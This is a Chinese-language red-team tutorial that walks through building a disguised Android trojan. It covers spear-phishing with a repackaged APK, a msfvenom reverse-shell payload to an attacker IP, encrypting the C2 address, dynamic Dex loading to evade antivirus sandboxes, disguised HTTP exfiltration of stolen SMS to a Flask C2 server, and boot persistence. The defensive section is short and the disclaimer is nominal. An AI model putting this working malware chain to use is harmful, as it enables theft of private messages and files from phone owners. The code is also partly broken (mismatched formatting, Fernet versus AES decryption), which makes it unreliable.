一、理解手机木马的技术原理
在现代红队对抗场景中,手机木马已经成为一个非常值得关注的攻击方向。智能手机的普及,使它们成为了大量敏感信息的主要载体,包括社交媒体凭据、支付信息、公司邮件等。而攻击者要想将木马真正“投放”到受害者设备中并规避安全检测,则需要运用多种免杀技巧。这个过程中,隐蔽性、持久性和功能性是木马设计的核心目标。
从技术架构上来看,手机木马主要分为以下几个模块:
- Payload载荷:核心功能模块,用于执行恶意操作,比如窃取短信、监听麦克风、截屏等;
- 通信模块:负责与C2服务器通信,上传窃取的数据或接收控制指令;
- 持久化模块:确保木马在设备重启后依然能够启动;
- 隐蔽与免杀模块:利用混淆、加密、代码拆分等技术对抗杀软和沙箱检测。
本篇文章将基于一个真实场景构造一个安卓木马(支持窃取短信和文件上传功能),并通过实战演示如何使用最小化的改动实现对主流杀软的有效免杀。
> 免责声明:以下内容仅供合法授权测试和学习使用,任何非法用途与本文无关,后果自负。
---
二、搭建伪装的鱼叉攻击环境
一个手机木马的攻击链需要从“入口点”开始动手。最常见的手段是通过鱼叉式社交工程,伪装木马程序为受害者感兴趣的APK文件,比如一款伪装成“优惠券生成器”的应用。
目标环境描述
- 攻击目标:一台运行Android 12的测试手机(开启开发者模式)。
- 攻击机:Kali Linux,装有一些攻击工具,包括Metasploit和APKTool。
- C2控制平台:使用Metasploit生成Payload,后续结合Python实现通信模块。
实战准备步骤
- 在Kali上安装
msfvenom和APKTool:
<pre><code class="language-bash"> sudo apt install metasploit-framework apktool -y `
- 准备一个合法的应用程序APK(可以从开源APK网站下载),用作木马的伪装壳。
- 使用
msfvenom生成基础的恶意Payload:
`bash msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o payload.apk `
- 用
APKTool解包伪装壳:
`bash apktool d legitimate_app.apk -o app_source `
- 将Payload注入到伪装壳中。解包后的
smali文件夹是恶意代码的注入点。在代码注入之前,需要对Payload进行混淆处理,防止被安全软件直接识别。
---
三、对抗杀软的Payload混淆技术
安卓木马的免杀核心在于如何绕过杀软的静态和动态检测能力。常见的杀软检测机制包括:
- 静态扫描:对APK文件的代码结构、敏感字符串进行特征匹配;
- 动态沙箱:在隔离环境运行APK并检测可疑行为,比如网络通信、权限调用等。
核心免杀技术一:字符串加密
恶意代码中的硬编码字符串(如C2地址、关键命令)往往是静态扫描的重点目标。为此,我们可以对这些敏感数据进行加密,并在运行时解密使用。
以下是一个简单的Python脚本,用于生成加密后的字符串:</code></pre>python from cryptography.fernet import Fernet
使用Fernet生成密钥
key = Fernet.generate_key() cipher = Fernet(key)
加密C2地址
c2_address = "http://192.168.1.100:4444" encrypted_addr = cipher.encrypt(c2_address.encode()) print(f"Encrypted Address: {encrypted_addr.decode()}") print(f"Decryption Key: {key.decode()}") <pre><code> 
在木马代码中,我们可以动态解密C2地址:</code></pre>java import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;
public class Decryptor { public static String decrypt(String encrypted, String key) throws Exception { byte[] decodedKey = java.util.Base64.getDecoder().decode(key); SecretKeySpec secretKey = new SecretKeySpec(decodedKey, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, secretKey); byte[] original = cipher.doFinal(java.util.Base64.getDecoder().decode(encrypted)); return new String(original); } } <pre><code>
核心免杀技术二:代码拆分与动态加载
安卓沙箱会尝试全面分析APK的行为,因此将恶意代码拆分为动态加载模块可以大幅降低被检测的风险。
- 将Payload代码提取为一个独立Dex文件:
`bash dx --dex --output=payload.dex payload.jar `
- 在主程序中动态加载Dex:
`java DexClassLoader classLoader = new DexClassLoader( dexPath, optimizedDirectory, null, getClassLoader()); Class<?> payloadClass = classLoader.loadClass("com.example.Payload"); Method method = payloadClass.getMethod("startPayload"); method.invoke(null); `
---

四、流量伪装与C2通信隐藏
手机木马的通信行为是沙箱检测的另一个关键点。为了规避检测,可以采用以下策略:
- 伪装通信流量:将木马流量伪装成合法的HTTP/HTTPS请求。
- 流量加密与分片:对木马指令加密后分段发送,避免单次数据包过长。
以下是一个用Python编写的C2流量伪装代码:</code></pre>python import requests import base64
模拟正常HTTP请求
def send_data(data): encrypted_data = base64.b64encode(data.encode()) # 对数据进行Base64编码 headers = {'User-Agent': 'Mozilla/5.0'}
将加密后的数据作为普通表单数据发送
response = requests.post("http://192.168.1.100/api/upload", headers=headers, data={ 'info': encrypted_data.decode() }) print(f"Response: {response.status_code}, {response.text}")
测试发送
send_data("Sensitive Data: SMS Content") <pre><code> 在C2服务器端,可以通过以下代码接收并解码数据:</code></pre>python from flask import Flask, request
app = Flask(__name__)
@app.route('/api/upload', methods=['POST']) def upload(): encrypted_data = request.form['info'] decoded_data = base64.b64decode(encrypted_data) print(f"Received data: {decoded_data.decode()}") return "OK"
if __name__ == '__main__': app.run(host='0.0.0.0', port=80) <pre><code> 
---
五、隐匿的持久化技巧
安卓木马的持久化通常可以通过以下几种方式实现:
- 服务自启动:通过监听设备启动广播;
- 伪装系统进程:将恶意进程伪装为系统服务;
- 动态权限申请绕过:利用用户的信任默默获取更多权限。
以下是一段用于实现“设备开机自启动”的代码:</code></pre>java public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) { Intent i = new Intent(context, MainService.class); context.startService(i); } } } <pre><code> 在AndroidManifest.xml中注册广播接收器:</code></pre>xml <receiver android:name=".BootReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> `
---
六、检测与防御的自我思考
攻击者在设计木马的过程中,防御者也在不断升级检测技术。以下是一些有效的检测思路:
- 动态分析行为:对APK的运行行为进行分析,比如异常流量、权限滥用;
- 签名比对:检查APK签名是否与官方应用匹配;
- 代码特征对比:通过机器学习识别混淆代码模式。
作为攻击者,要想实现持续免杀,需要不断研究杀软的检测手段,并更新混淆与伪装策略。唯一不变的是变化本身。
---
结语
手机木马免杀是一场极富挑战的对抗游戏。本文从架构设计、Payload混淆、流量伪装到持久化技巧,涵盖了完整的攻击链条。希望通过本文,你能真正掌握攻击者的思路,提升自己的红队能力。同时,务必将所学用于合法场景中,切勿滥用!